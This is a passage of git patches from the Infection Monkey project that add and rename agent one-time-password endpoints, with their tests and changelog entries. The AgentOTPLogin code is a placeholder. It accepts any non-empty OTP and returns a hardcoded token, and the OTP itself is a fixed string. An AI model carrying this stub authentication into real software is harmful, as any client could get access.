monkey_island.cc.services.authentication_service.flask_resources.agent_otp import AgentOTP + + +@pytest.fixture +def make_otp_request(flask_client): + url = AgentOTP.urls[0] + + def _make_otp_request(): + return flask_client.get(url) + + return _make_otp_request + + +def test_agent_otp__successful(make_otp_request): + response = make_otp_request() + + assert response.status_code == 200 + assert response.json["otp"] == "supersecretpassword" From 090a5042215945723250a090edad8c8636043fdc Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 17:27:11 +0530 Subject: [PATCH 0560/1338] Island: Register AgentOTP resource with other authentication resources --- monkey/monkey_island/cc/app.py | 2 -- .../flask_resources/register_resources.py | 2 ++ 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 29de2eb25c2..3054e471289 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,7 +26,6 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.services.authentication_service.flask_resources import AgentOTP from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -91,7 +90,6 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - api.add_resource(AgentOTP) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index f6dba0e3b64..1b3cdf10ef7 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -3,6 +3,7 @@ from common import DIContainer from ..authentication_facade import AuthenticationFacade +from .agent_otp import AgentOTP from .login import Login from .logout import Logout from .register import Register @@ -18,3 +19,4 @@ def register_resources(api: flask_restful.Api, container: DIContainer): ) api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) + api.add_resource(AgentOTP, *AgentOTP.urls) From 5843c6521a810dad91e7089f654baa3315e97534 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 13:11:45 +0100 Subject: [PATCH 0561/1338] UT: Add AgentOTP resource to the mocked security app --- .../cc/services/authentication_service/conftest.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index b783da74960..155d111635e 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -7,6 +7,7 @@ AuthenticationFacade, ) from monkey_island.cc.services.authentication_service.flask_resources import ( + AgentOTP, Login, Logout, Register, @@ -37,6 +38,7 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): api.add_resource( RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) + api.add_resource(AgentOTP, *AgentOTP.urls) return app From a25ac6c7490eb591b6180337b4700e225ebf5fcc Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 15:32:35 +0100 Subject: [PATCH 0562/1338] Changelog: Add entry for AgentOTP endpoint --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a7ea1b39d0c..5a5a42959a3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] ### Added - Add an option to the Hadoop exploiter to try all discovered HTTP ports. #2136 +- `GET /api/agent-otp`. #3076 + ### Changed ### Removed ### Fixed From 726f9185dff234d9d7870a473082adeb16647746 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Thu, 9 Mar 2023 21:04:27 +0000 Subject: [PATCH 0563/1338] Island: Add /api/register-agent endpoint --- monkey/monkey_island/cc/app.py | 2 + .../flask_resources/__init__.py | 1 + .../flask_resources/register_agent.py | 38 +++++++++++++++++++ .../authentication_service/conftest.py | 2 + .../flask_resources/test_register_agent.py | 27 +++++++++++++ 5 files changed, 70 insertions(+) create mode 100644 monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 3054e471289..e7afefadeca 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,6 +26,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) +from monkey_island.cc.services.authentication_service.flask_resources import RegisterAgent from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -90,6 +91,7 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) + api.add_resource(RegisterAgent) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index be9980ab9e1..eae544b45b4 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -4,3 +4,4 @@ from .logout import Logout from .register_resources import register_resources from .agent_otp import AgentOTP +from .register_agent import RegisterAgent diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py new file mode 100644 index 00000000000..dd4c3683274 --- /dev/null +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py @@ -0,0 +1,38 @@ +import json + +from flask import make_response, request + +from monkey_island.cc.flask_utils import AbstractResource +from monkey_island.cc.server_utils.response_utils import response_to_invalid_request + + +class RegisterAgent(AbstractResource): + """ + A resource for registering an Agent + + Agents may register by providing a one-time password. + """ + + urls = ["/api/register-agent"] + + def post(self): + """ + Requests an authentication token + + Gets the one-time password from the request, and returns an authentication token + + :return: Authentication token in the response body + """ + + try: + cred_dict = json.loads(request.data) + otp = cred_dict.get("otp", "") + if self._validate_otp(otp): + return make_response({"token": "supersecrettoken"}) + except Exception: + pass + + return response_to_invalid_request() + + def _validate_otp(self, otp: str): + return len(otp) > 0 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 155d111635e..94f32de9f93 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -12,6 +12,7 @@ Logout, Register, RegistrationStatus, + RegisterAgent, ) @@ -39,6 +40,7 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) api.add_resource(AgentOTP, *AgentOTP.urls) + api.add_resource(RegisterAgent, *RegisterAgent.urls) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py new file mode 100644 index 00000000000..672a36ff8b6 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py @@ -0,0 +1,27 @@ +import pytest + +from monkey_island.cc.services.authentication_service.flask_resources.register_agent import RegisterAgent + + +@pytest.fixture +def register_agent(flask_client): + url = RegisterAgent.urls[0] + + def _register_agent(request_body): + return flask_client.post(url, data=request_body, follow_redirects=True) + + return _register_agent + + +def test_register_agent__successful(register_agent): + response = register_agent('{"otp": "supersecretpassword"}') + + assert response.status_code == 200 + assert response.json["token"] == "supersecrettoken" + + +@pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) +def test_register_agent__failure(register_agent, data): + response = register_agent(data) + + assert response.status_code == 400 From 389b80b6dcec9c2e302fb0ef5e15b4fe7ae4e39c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 13:20:45 +0530 Subject: [PATCH 0564/1338] Island: Change RegisterAgent resource to OTPLogin --- monkey/monkey_island/cc/app.py | 4 ++-- .../authentication_service/flask_resources/__init__.py | 2 +- .../flask_resources/{register_agent.py => otp_login.py} | 8 +++----- 3 files changed, 6 insertions(+), 8 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/flask_resources/{register_agent.py => otp_login.py} (84%) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index e7afefadeca..ebb49b104f4 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,7 +26,7 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.services.authentication_service.flask_resources import RegisterAgent +from monkey_island.cc.services.authentication_service.flask_resources import OTPLogin from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -91,7 +91,7 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - api.add_resource(RegisterAgent) + api.add_resource(OTPLogin) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index eae544b45b4..31e1d2b291d 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -4,4 +4,4 @@ from .logout import Logout from .register_resources import register_resources from .agent_otp import AgentOTP -from .register_agent import RegisterAgent +from .otp_login import OTPLogin diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py similarity index 84% rename from monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py index dd4c3683274..15a4466e161 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_agent.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py @@ -6,19 +6,17 @@ from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -class RegisterAgent(AbstractResource): +class OTPLogin(AbstractResource): """ - A resource for registering an Agent + A resource for logging in using an OTP Agents may register by providing a one-time password. """ - urls = ["/api/register-agent"] + urls = ["/api/otp-login"] def post(self): """ - Requests an authentication token - Gets the one-time password from the request, and returns an authentication token :return: Authentication token in the response body From d4dcf1df265a33bf8ea79db9b7caa287c0a369b1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 13:21:05 +0530 Subject: [PATCH 0565/1338] UT: Fix OTPLogin resource tests --- .../authentication_service/conftest.py | 4 +-- .../flask_resources/test_otp_login.py | 27 +++++++++++++++++++ .../flask_resources/test_register_agent.py | 27 ------------------- 3 files changed, 29 insertions(+), 29 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 94f32de9f93..1b128a5ff5a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -12,7 +12,7 @@ Logout, Register, RegistrationStatus, - RegisterAgent, + OTPLogin, ) @@ -40,7 +40,7 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) api.add_resource(AgentOTP, *AgentOTP.urls) - api.add_resource(RegisterAgent, *RegisterAgent.urls) + api.add_resource(OTPLogin, *OTPLogin.urls) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py new file mode 100644 index 00000000000..1ce66c4ffda --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py @@ -0,0 +1,27 @@ +import pytest + +from monkey_island.cc.services.authentication_service.flask_resources.otp_login import OTPLogin + + +@pytest.fixture +def otp_login(flask_client): + url = OTPLogin.urls[0] + + def _otp_login(request_body): + return flask_client.post(url, data=request_body, follow_redirects=True) + + return _otp_login + + +def test_otp_login__successful(otp_login): + response = otp_login('{"otp": "supersecretpassword"}') + + assert response.status_code == 200 + assert response.json["token"] == "supersecrettoken" + + +@pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) +def test_otp_login__failure(otp_login, data): + response = otp_login(data) + + assert response.status_code == 400 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py deleted file mode 100644 index 672a36ff8b6..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_register_agent.py +++ /dev/null @@ -1,27 +0,0 @@ -import pytest - -from monkey_island.cc.services.authentication_service.flask_resources.register_agent import RegisterAgent - - -@pytest.fixture -def register_agent(flask_client): - url = RegisterAgent.urls[0] - - def _register_agent(request_body): - return flask_client.post(url, data=request_body, follow_redirects=True) - - return _register_agent - - -def test_register_agent__successful(register_agent): - response = register_agent('{"otp": "supersecretpassword"}') - - assert response.status_code == 200 - assert response.json["token"] == "supersecrettoken" - - -@pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) -def test_register_agent__failure(register_agent, data): - response = register_agent(data) - - assert response.status_code == 400 From 2186c845b7564d86af33caea9bf0cb268f110d80 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 17:52:16 +0530 Subject: [PATCH 0566/1338] Island: Register OTPLogin resource with other authentication resources --- monkey/monkey_island/cc/app.py | 2 -- .../flask_resources/register_resources.py | 2 ++ 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ebb49b104f4..3054e471289 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -26,7 +26,6 @@ ResetAgentConfiguration, TerminateAllAgents, ) -from monkey_island.cc.services.authentication_service.flask_resources import OTPLogin from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun @@ -91,7 +90,6 @@ def init_api_resources(api: FlaskDIWrapper): def init_restful_endpoints(api: FlaskDIWrapper): api.add_resource(Root) - api.add_resource(OTPLogin) api.add_resource(Agents) api.add_resource(LocalRun) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 1b3cdf10ef7..49bd7d3d450 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -6,6 +6,7 @@ from .agent_otp import AgentOTP from .login import Login from .logout import Logout +from .otp_login import OTPLogin from .register import Register from .registration_status import RegistrationStatus @@ -20,3 +21,4 @@ def register_resources(api: flask_restful.Api, container: DIContainer): api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource(AgentOTP, *AgentOTP.urls) + api.add_resource(OTPLogin, *OTPLogin.urls) From 8690353635487d08ee7929a192a5f92d2f4e6d77 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Mar 2023 17:57:49 +0530 Subject: [PATCH 0567/1338] Island: Fix OTPLogin resource's docstring --- .../authentication_service/flask_resources/otp_login.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py index 15a4466e161..cc9771dfec4 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py @@ -10,7 +10,7 @@ class OTPLogin(AbstractResource): """ A resource for logging in using an OTP - Agents may register by providing a one-time password. + A client may authenticate with the Island by providing a one-time password. """ urls = ["/api/otp-login"] From a3a4cf4c2515caa9ebe0bf5bfd3056aab48a6f57 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 15:23:59 +0100 Subject: [PATCH 0568/1338] Island: Rename OTPLogin resource to AgentOTPLogin --- .../flask_resources/__init__.py | 2 +- .../{otp_login.py => agent_otp_login.py} | 4 ++-- .../flask_resources/register_resources.py | 4 ++-- .../authentication_service/conftest.py | 4 ++-- .../flask_resources/test_otp_login.py | 20 ++++++++++--------- 5 files changed, 18 insertions(+), 16 deletions(-) rename monkey/monkey_island/cc/services/authentication_service/flask_resources/{otp_login.py => agent_otp_login.py} (92%) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py index 31e1d2b291d..346e137be97 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/__init__.py @@ -4,4 +4,4 @@ from .logout import Logout from .register_resources import register_resources from .agent_otp import AgentOTP -from .otp_login import OTPLogin +from .agent_otp_login import AgentOTPLogin diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py similarity index 92% rename from monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py rename to monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index cc9771dfec4..d0f88f083a0 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -6,14 +6,14 @@ from monkey_island.cc.server_utils.response_utils import response_to_invalid_request -class OTPLogin(AbstractResource): +class AgentOTPLogin(AbstractResource): """ A resource for logging in using an OTP A client may authenticate with the Island by providing a one-time password. """ - urls = ["/api/otp-login"] + urls = ["/api/agent-otp-login"] def post(self): """ diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index 49bd7d3d450..edfe596550b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -4,9 +4,9 @@ from ..authentication_facade import AuthenticationFacade from .agent_otp import AgentOTP +from .agent_otp_login import AgentOTPLogin from .login import Login from .logout import Logout -from .otp_login import OTPLogin from .register import Register from .registration_status import RegistrationStatus @@ -21,4 +21,4 @@ def register_resources(api: flask_restful.Api, container: DIContainer): api.add_resource(Login, *Login.urls, resource_class_args=(authentication_facade,)) api.add_resource(Logout, *Logout.urls, resource_class_args=(authentication_facade,)) api.add_resource(AgentOTP, *AgentOTP.urls) - api.add_resource(OTPLogin, *OTPLogin.urls) + api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py index 1b128a5ff5a..26487f4ff21 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/conftest.py @@ -8,11 +8,11 @@ ) from monkey_island.cc.services.authentication_service.flask_resources import ( AgentOTP, + AgentOTPLogin, Login, Logout, Register, RegistrationStatus, - OTPLogin, ) @@ -40,7 +40,7 @@ def get_mock_auth_app(authentication_facade: AuthenticationFacade): RegistrationStatus, *RegistrationStatus.urls, resource_class_args=(authentication_facade,) ) api.add_resource(AgentOTP, *AgentOTP.urls) - api.add_resource(OTPLogin, *OTPLogin.urls) + api.add_resource(AgentOTPLogin, *AgentOTPLogin.urls) return app diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py index 1ce66c4ffda..eda0d0a39a1 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_otp_login.py @@ -1,27 +1,29 @@ import pytest -from monkey_island.cc.services.authentication_service.flask_resources.otp_login import OTPLogin +from monkey_island.cc.services.authentication_service.flask_resources.agent_otp_login import ( + AgentOTPLogin, +) @pytest.fixture -def otp_login(flask_client): - url = OTPLogin.urls[0] +def agent_otp_login(flask_client): + url = AgentOTPLogin.urls[0] - def _otp_login(request_body): + def _agent_otp_login(request_body): return flask_client.post(url, data=request_body, follow_redirects=True) - return _otp_login + return _agent_otp_login -def test_otp_login__successful(otp_login): - response = otp_login('{"otp": "supersecretpassword"}') +def test_agent_otp_login__successful(agent_otp_login): + response = agent_otp_login('{"otp": "supersecretpassword"}') assert response.status_code == 200 assert response.json["token"] == "supersecrettoken" @pytest.mark.parametrize("data", [{}, [], '{"otp": ""}']) -def test_otp_login__failure(otp_login, data): - response = otp_login(data) +def test_agent_otp_login__failure(agent_otp_login, data): + response = agent_otp_login(data) assert response.status_code == 400 From 69eff252bf6fb0286fb606e67dd9b3f7f4bc0bf6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Mar 2023 15:33:54 +0100 Subject: [PATCH 0569/1338] Changelog: Add entry for AgentOTPLogin endpoint --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5a5a42959a3..255e4f5bf44 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). ### Added - Add an option to the Hadoop exploiter to try all discovered HTTP ports. #2136 - `GET /api/agent-otp`. #3076 +- `POST /api/agent-otp-login` endpoint. #3076 ### Changed ### Removed From 44e1f562fdc31654cbade74dcf5da32c8eeb62b2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Mar 2023 07:33:17 -0500 Subject: [PATCH 0570/1338] Island: Move server_utils.response_utils -> flask_utils.responses --- monkey/monkey_island/cc/flask_utils/__init__.py | 1 + .../response_utils.py => flask_utils/responses.py} | 0 .../flask_resources/agent_otp_login.py | 5 ++--- .../authentication_service/flask_resources/login.py | 7 +++---- .../authentication_service/flask_resources/logout.py | 7 +++---- .../authentication_service/flask_resources/register.py | 7 +++---- 6 files changed, 12 insertions(+), 15 deletions(-) rename monkey/monkey_island/cc/{server_utils/response_utils.py => flask_utils/responses.py} (100%) diff --git a/monkey/monkey_island/cc/flask_utils/__init__.py b/monkey/monkey_island/cc/flask_utils/__init__.py index 8d6bfc68018..69925337d78 100644 --- a/monkey/monkey_island/cc/flask_utils/__init__.py +++ b/monkey/monkey_island/cc/flask_utils/__init__.py @@ -1,2 +1,3 @@ from .abstract_resource import AbstractResource from .flask_di_wrapper import FlaskDIWrapper +from . import responses diff --git a/monkey/monkey_island/cc/server_utils/response_utils.py b/monkey/monkey_island/cc/flask_utils/responses.py similarity index 100% rename from monkey/monkey_island/cc/server_utils/response_utils.py rename to monkey/monkey_island/cc/flask_utils/responses.py diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index d0f88f083a0..44949d28343 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -2,8 +2,7 @@ from flask import make_response, request -from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.server_utils.response_utils import response_to_invalid_request +from monkey_island.cc.flask_utils import AbstractResource, responses class AgentOTPLogin(AbstractResource): @@ -30,7 +29,7 @@ def post(self): except Exception: pass - return response_to_invalid_request() + return responses.response_to_invalid_request() def _validate_otp(self, otp: str): return len(otp) > 0 diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index ba218b92525..faf1fc143a1 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py @@ -5,8 +5,7 @@ from flask.typing import ResponseValue from flask_security.views import login -from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.server_utils.response_utils import response_to_invalid_request +from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade from .utils import get_username_password_from_request @@ -38,10 +37,10 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = login() except Exception: - return response_to_invalid_request() + return responses.response_to_invalid_request() if not isinstance(response, Response): - return response_to_invalid_request() + return responses.response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_login(username, password) diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index 048e71e4582..987af8dcc40 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -5,8 +5,7 @@ from flask.typing import ResponseValue from flask_security.views import logout -from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.server_utils.response_utils import response_to_invalid_request +from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade @@ -27,10 +26,10 @@ def post(self): try: response: ResponseValue = logout() except Exception: - return response_to_invalid_request() + return responses.response_to_invalid_request() if not isinstance(response, Response): - return response_to_invalid_request() + return responses.response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_logout() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py index 2356f63b6d5..05171083c0c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register.py @@ -5,8 +5,7 @@ from flask.typing import ResponseValue from flask_security.views import register -from monkey_island.cc.flask_utils import AbstractResource -from monkey_island.cc.server_utils.response_utils import response_to_invalid_request +from monkey_island.cc.flask_utils import AbstractResource, responses from ..authentication_facade import AuthenticationFacade from .utils import get_username_password_from_request @@ -33,12 +32,12 @@ def post(self): username, password = get_username_password_from_request(request) response: ResponseValue = register() except Exception: - return response_to_invalid_request() + return responses.response_to_invalid_request() # Register view treat the request as form submit which may return something # that it is not a response if not isinstance(response, Response): - return response_to_invalid_request() + return responses.response_to_invalid_request() if response.status_code == HTTPStatus.OK: self._authentication_facade.handle_successful_registration(username, password) From 90f91719be5328936becbb44e1cdb1ab69032453 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 10 Mar 2023 07:34:13 -0500 Subject: [PATCH 0571/1338] Island: Rename {make_}response_to_invalid_request() --- monkey/monkey_island/cc/flask_utils/responses.py | 2 +- .../authentication_service/flask_resources/agent_otp_login.py | 2 +- .../services/authentication_service/flask_resources/login.py | 4 ++-- .../services/authentication_service/flask_resources/logout.py | 4 ++-- .../authentication_service/flask_resources/register.py | 4 ++-- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/flask_utils/responses.py b/monkey/monkey_island/cc/flask_utils/responses.py index 3b8e9c6ec0c..67acfca27ee 100644 --- a/monkey/monkey_island/cc/flask_utils/responses.py +++ b/monkey/monkey_island/cc/flask_utils/responses.py @@ -3,7 +3,7 @@ from flask import Response, make_response -def response_to_invalid_request() -> Response: +def make_response_to_invalid_request() -> Response: return make_response( {"message": "Invalid request"}, HTTPStatus.BAD_REQUEST, diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py index 44949d28343..c7d45ee2ebd 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/agent_otp_login.py @@ -29,7 +29,7 @@ def post(self): except Exception: pass - return responses.response_to_invalid_request() + return responses.make_response_to_invalid_request() def _validate_otp(self, otp: str): return len(otp) > 0 diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py index faf1fc143a1..874f7d1fe26 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/login.py +++ 